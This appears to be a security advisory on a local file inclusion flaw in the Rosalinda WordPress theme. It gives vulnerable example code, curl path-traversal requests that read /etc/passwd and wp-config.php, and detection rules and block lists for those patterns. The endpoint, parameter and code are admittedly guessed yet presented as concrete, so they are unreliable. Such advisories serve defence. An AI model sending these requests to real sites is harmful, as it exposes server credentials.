CVE-2025-60063

Executive Summary

CVE-2025-60063 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Rosalinda WordPress theme developed by Axiomthemes. The vulnerability stems from improper control of a filename used in a PHP include or require statement, specifically within the theme's codebase. An unauthenticated attacker can exploit this flaw to include arbitrary local files from the server, leading to sensitive information disclosure (e.g., reading /etc/passwd, wp-config.php). The CVSS score of 8.1 (High) reflects the low attack complexity and network-based attack vector. As of this report, no official patch has been released, and no public exploit code is available, but the vulnerability is considered weaponizable.

Supply Chain & Package Security

This vulnerability affects a WordPress theme, which is part of the broader WordPress ecosystem. The theme is distributed via the Axiomthemes marketplace and potentially bundled with other plugins. Users should verify the integrity of their theme files and ensure they are not using modified or nulled versions, which may contain additional backdoors.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability allows unauthenticated file disclosure, which can lead to credential theft (e.g., reading wp-config.php), database access, and further lateral movement.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) in the Rosalinda theme. The theme likely uses a dynamic file inclusion mechanism (e.g., include($_GET['file']);) without proper sanitization or path restriction. An attacker can manipulate a parameter (e.g., ?file=../../../../etc/passwd) to include arbitrary files from the server.

Root Cause: The theme fails to validate or sanitize user-supplied input used in a PHP include or require statement. This allows directory traversal and inclusion of sensitive files.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., wp-content/themes/rosalinda/template.php?file=).
2. Attacker crafts a request with a path traversal payload: ?file=../../../../etc/passwd.
3. The server includes the specified file, outputting its contents in the HTTP response.
4. Attacker can escalate by reading wp-config.php to obtain database credentials.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

<?php
// rosalinda/template.php
$file = $_GET['file'];
include($file . '.php');
?>

Patched Code (Example):

<?php
// rosalinda/template.php
$allowed_files = array('header', 'footer', 'sidebar');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
}
?>

Note: Since no official patch exists, the above is a recommended fix. The patched version uses a whitelist approach to restrict inclusion to predefined files.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with Rosalinda theme version <= 1.2.3.
• The vulnerable endpoint must be accessible (e.g., wp-content/themes/rosalinda/template.php).

Exploit Steps:

1. Identify the vulnerable parameter (e.g., file).
2. Send a crafted HTTP request:

curl -v "http://target.com/wp-content/themes/rosalinda/template.php?file=../../../../etc/passwd"

3. The server will return the contents of /etc/passwd.
4. To read wp-config.php:

curl -v "http://target.com/wp-content/themes/rosalinda/template.php?file=../../../../wp-config"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for suspicious file parameters containing ../ or /etc/.
• Use WAF rules to block path traversal patterns.

Hardening:

• Disable PHP allow_url_include and allow_url_fopen if not needed.
• Apply input validation and whitelist allowed files.
• Restrict file permissions on wp-config.php to 640.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with file parameter containing ../ or absolute paths (e.g., /etc/passwd).
  • Unusual outbound connections from the web server (if LFI leads to RCE via log poisoning).

• File IOCs:

  • Presence of unexpected files in /tmp/ or wp-content/uploads/ (if exploited for RCE).
  • Modified theme files (e.g., template.php).

• Log IOCs:

  • Web server logs showing 404 or 200 responses for non-existent PHP files.
  • Error logs containing include() failures.

Detection Engineering

YARA Rule

rule CVE_2025_60063_LFI_Rosalinda {
    meta:
        description = "Detects LFI attempts targeting Rosalinda theme"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-60063"
    strings:
        $lfi1 = "file=../" ascii nocase
        $lfi2 = "file=/etc/" ascii nocase
        $lfi3 = "file=wp-config" ascii nocase
        $theme = "rosalinda" ascii nocase
    condition:
        any of ($lfi*) and $theme
}

Sigma Rule

title: CVE-2025-60063 LFI Attempt on Rosalinda Theme
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in HTTP requests to Rosalinda theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'file=../'
            - 'file=/etc/'
            - 'file=wp-config'
        cs-uri-stem|contains: 'rosalinda'
    condition: selection
falsepositives:
    - Legitimate use of file parameter (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60063 LFI Attempt on Rosalinda Theme"; flow:to_server,established; content:"rosalinda"; http_uri; content:"file="; http_uri; pcre:"/file=(\.\.\/|\/etc\/|wp-config)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable theme until a patch is available. Switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php to 640).

Long-Term Fix:

• Apply input validation and whitelist allowed files in the theme's code.
• Use realpath() to resolve and restrict included files to a specific directory.
• Monitor the Axiomthemes website for an official patch.

Workaround:

• Add the following to .htaccess to block malicious requests:

RewriteEngine On
RewriteCond %{QUERY_STRING} (file=\.\./|file=/etc/|file=wp-config) [NC]
RewriteRule ^ - [F,L]

Valters IT